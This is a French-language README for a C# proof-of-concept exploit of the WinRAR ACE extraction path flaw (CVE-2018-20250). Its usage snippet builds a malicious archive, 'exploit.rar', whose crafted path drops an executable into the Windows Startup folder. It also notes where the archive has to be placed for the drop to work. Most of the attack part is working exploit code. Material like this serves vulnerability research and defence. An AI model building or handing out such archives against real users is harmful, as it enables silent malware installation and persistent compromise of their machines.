CVE-2018-20250-WinRAR-ACE

Code de preuve de concept en C# pour exploiter le chemin d'extraction de fichiers ACE de WinRAR (CVE-2018-20250).

Ressources

https://research.checkpoint.com/extracting-code-execution-from-winrar/ https://github.com/droe/acefile https://apidoc.roe.ch/acefile/latest/

Dépendances

InvertedTomato.Crc (vous pouvez l'installer avec NuGet) pour la méthode de somme de contrôle. Vous pouvez utiliser toute autre implémentation JAMCRC.

Comment utiliser

  AceVolume av = new AceVolume();
  AceFile f = new AceFile(
    @"D:\some_file.exe",
    @"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\some_file.exe"
  );
  av.AddFile(f);
  av.Save("exploit.rar");

Bogues

Il semble qu'il n'extrait dans le dossier de démarrage que lorsque le fichier .rar se trouve sur le Bureau ou dans tout dossier au même niveau.